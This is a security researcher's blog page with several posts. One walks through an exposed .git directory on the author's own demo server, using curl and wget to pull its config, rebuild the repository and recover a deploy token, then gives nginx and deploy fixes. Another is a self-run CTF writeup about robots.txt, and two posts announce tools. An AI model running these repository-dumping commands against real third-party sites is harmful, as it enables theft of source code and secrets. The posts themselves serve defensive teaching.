skeletonsec

dissecting a git-exposure finding: anatomy of an information leak

chattr@linux.com (Ahmed Ibrahim) — Thu, 06 Aug 2026 23:30:00 +0000

Site fixture. This post exists to pin the research template to something concrete. The target is a demo app I stood up on my own box; no third party was tested, and the leaked credential below is a dead fixture token. The bug class, the requests, and the reconstruction steps are real and reproducible.

TL;DR

What: the demo app serves its .git directory over HTTP. GET /.git/config returns 200 with the repository config.
Impact: full source disclosure (working tree + history), plus any secret committed or embedded in a remote URL. Here: a deploy token in the origin remote.
CVE status: none — self-hosted fixture. On a real target this class is CWE-527 (Exposure of Version-Control Repository to an Unauthorized Control Sphere); severity medium here, scaling with what the repo contains.

Target & scope

Self-hosted demo: nginx 1.25 serving a static export of a small app at http://127.0.0.1:8080/, deployed by a script that rsyncs the working tree into the webroot. Scope was my own machine only.

Root cause

Two failures compose:

The deploy step copies the working tree — .git included — instead of a clean export:

# deploy.sh (fixture)
rsync -a --delete ./app/ /var/www/demo/ # .git rides along

nginx has no dotfile deny rule, so anything under the webroot is servable:

server {
 listen 8080;
 root /var/www/demo;
 # nothing blocks /.git, /.env, /.svn
}

Neither is exotic. That is the point: this bug is a default, not a mistake someone has to work at.

Exploitation

Step one is a single request. No tooling beyond curl:

evidence — the request pair

$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8080/.git/config
200

$ curl -s http://127.0.0.1:8080/.git/config
[core]
 repositoryformatversion = 0
 filemode = true
 bare = false
[remote "origin"]
 url = https://deploy:ghp_FIXTUREdeadbeefdeadbeefdeadbeef00@github.com/skeletonsec/demo-target.git
[branch "main"]
 remote = origin
 merge = refs/heads/main

From there, reconstruction is mechanical — mirror the directory, check out the tree, read the history:

evidence — repository reconstruction

$ wget -q --mirror --no-parent http://127.0.0.1:8080/.git/
$ cd 127.0.0.1:8080 && git checkout -- .
$ git log --oneline | head -3
a1b2c3d remove token from config (oops)
9f8e7d6 add deploy workflow
5e4d3c2 initial import

$ git show 9f8e7d6:deploy.sh | grep -c token
1

Two things fall out: the full source, and — because “remove the secret” commits never remove secrets — the token survives in history even after it is scrubbed from HEAD.

Remediation

Deny dotfiles at the edge. For nginx: location ~ /\.(git|svn|env|hg) { return 404; }
Deploy a clean export (git archive, a build artifact, a CI checkout with --depth 1 into a temp dir), never the working tree.
Rotate anything the repo ever contained. The fixture token above is dead by construction; a real one is compromised the moment /.git is reachable, and history scrubbing does not un-leak it.
Detect it yourself first: curl -s -o /dev/null -w "%{http_code}\n" https://your-host/.git/config in the deploy pipeline; fail the deploy on anything but 404.

Disclosure timeline

Fixture timeline — the format, not a real vendor dance. On a third-party finding this table tracks report → acknowledgment → fix → publish.

date (UTC)	event
2026-08-01	demo target stood up with the misconfiguration
2026-08-01	exposure found during enumeration (`/.git/config` → 200)
2026-08-02	repository reconstructed; impact scoped (source + fixture token)
2026-08-02	fix deployed (dotfile deny + clean export); re-tested → 404
2026-08-06	published

Artifacts

Reproducer scripts and the demo-target definition live under github.com/skeletonsec. If you run this against anything, run it against your own deploy pipeline — that is where the class actually bites.

skeletonsec is online

chattr@linux.com (Ahmed Ibrahim) — Thu, 06 Aug 2026 21:00:00 +0000

This site is live. skeletonsec — my research lab — now has a front door that isn’t a GitHub profile page. Static HTML, system fonts, no trackers, no JavaScript. View source; that is the stack.

What gets published here

Three kinds of posts:

Vulnerability research. 0/1/N-day work — root cause, the primitive, the exploit path, the fix. Patch-diff and variant-analysis notes when a disclosed fix is more instructive than the advisory.
CTF writeups. Organized by event as series — recon, the bug, exploitation, flag, lessons. The ones where I lost hours to a stupid assumption are the most worth writing down, so those get written first.
Tool design notes. Why a tool is built the way it is, with benchmarks and the mistakes that shaped it.

The rule

Everything here answers to one doctrine: claims carry evidence. A bug without a reproducer is a rumor. A benchmark without a method section is marketing. If I can’t show you the request pair, the crashing input, or the script, the post doesn’t ship. Expect every writeup to end with something you can run.

The tools

Two open-source projects live under the lab and will get design notes here:

authprobe — authenticated-session record/refresh/export for DAST. Shipped, and the first design-notes post is already outlined.
skelet0n — a staged research conductor with a tamper-evident evidence ledger. Phase 0: the engine and ledger are real; swarm and local RAG are Phase 2 and I’ll say so on the tin.

Cadence

Writeups land when the work is done — with reproducers. No schedule, no filler. The RSS feed and github.com/skeletonsec are the ways to know when something lands.

demo ctf 2026 — baby steps

chattr@linux.com (Ahmed Ibrahim) — Thu, 06 Aug 2026 19:00:00 +0000

Training fixture. Demo CTF 2026 is an invented event I host against myself. The challenge, the box, and the flag are mine; this writeup exists to keep the format — including the failed attempts — honest.

Description

baby steps — web, 100 pts

“Our new site is so secure even the crawlers behave.” http://demo-ctf.local:9000/

A single static-looking page reading “nothing to see here.” No files attached, no parameters, no forms. Easy tier: the challenge is about looking where the site tells you not to look.

Thought process

Failed attempt 1 — brute force before reading

I pointed feroxbuster at the root with a common wordlist before doing any manual enumeration. Ten minutes, a few thousand requests, one hit: /robots.txt — which I had not read yet. Classic own goal: the scanner found the map and I ignored it.

$ feroxbuster -u http://demo-ctf.local:9000/ -w common.txt -q
200 GET 21l 45w 402c http://demo-ctf.local:9000/robots.txt
# ... nothing else

Failed attempt 2 — taking the page at face value

After finally reading robots.txt (below) I fetched the disallowed path, saw a page that said “flag is not here”, and briefly went back to fuzzing for other paths. Cost: another few minutes. The page was lying by omission — I had read the rendered text but not the source. On a static challenge, view-source is not optional.

Solution

Two requests. First, the map the site hands you for free:

$ curl -s http://demo-ctf.local:9000/robots.txt
User-agent: *
Disallow: /s3cr3t-adm1n/

Disallow is an instruction to polite crawlers, not an access control — the path serves 200 to anyone who asks. Asking, and reading the source this time:

$ curl -s http://demo-ctf.local:9000/s3cr3t-adm1n/ | grep -io 'flag{[^}]*}'
flag{robots_txt_is_a_map_not_a_fence}

The rendered page says “flag is not here”; the HTML source carries the flag in a comment immediately under it.

Flag

evidence — flag, with proof

flag{robots_txt_is_a_map_not_a_fence}

proof: curl -s http://demo-ctf.local:9000/s3cr3t-adm1n/ returns 200 and the string above sits in an HTML comment in the response body — served by the challenge box, no client-side tricks.

Lessons

Read robots.txt (and sitemap.xml, and .well-known/) before reaching for a wordlist. The scanner is a supplement, not a substitute.
Rendered text is a suggestion; source is the truth. Grep every response for the flag format early: grep -io 'flag{[^}]*}' costs nothing.
For defenders: Disallow does not protect anything. If a path must not be public, authenticate it — or better, don’t deploy it.
Next practice: same shape, harder tier — a disallowed path behind a referer/header check, to drill request malleation instead of plain curl.

skelet0n

chattr@linux.com (Ahmed Ibrahim) — Thu, 06 Aug 2026 13:00:00 +0000

A staged research conductor with a tamper-evident evidence ledger. Status: phase 0.

The problem

A research engagement is dozens of tools, notes, and dead ends. By the time a finding lands, the evidence for it is scattered across terminals and screenshots — or gone. “Trust me, it crashed” is not a finding.

skelet0n conducts the pipeline stage by stage and writes every claim/evidence pair into a hash-chained ledger: alter any record and the chain breaks. Findings keep their receipts from hypothesis to report.

Phase honesty: the engine and the ledger are real and shipped. The agent swarm and the local RAG are Phase 2 — planned, not present, and labeled as such everywhere they are mentioned.

Install

go install github.com/skeletonsec/skelet0n/cmd/skelet0n@latest

Demo

authprobe

chattr@linux.com (Ahmed Ibrahim) — Thu, 06 Aug 2026 12:00:00 +0000

Authenticated-session record/refresh/export for DAST. Status: shipped.

The problem

DAST tools are good at crawling and bad at staying logged in. Session state lives in browser cookies, headers, CSRF tokens, and rotating refresh tokens — and every scanner re-implements capture, badly, in its own format. ZAP wants a context, nuclei wants headers, your own scripts want a cookie jar. One login, three formats, zero portability.

authprobe records one real login, detects expiry and replays the refresh path, and exports every format from that single source of truth. Sessions are credentials: they never leave the box.

Install

go install github.com/skeletonsec/authprobe/cmd/authprobe@latest

skeletonsec

dissecting a git-exposure finding: anatomy of an information leak

TL;DR

Target & scope

Root cause

Exploitation

Remediation

Disclosure timeline

Artifacts

skeletonsec is online

What gets published here

The rule

The tools

Cadence

demo ctf 2026 — baby steps

Description

Thought process

Failed attempt 1 — brute force before reading

Failed attempt 2 — taking the page at face value

Solution

Flag

Lessons

skelet0n

The problem

Install

Demo

Links

authprobe

The problem

Install

Demo

Links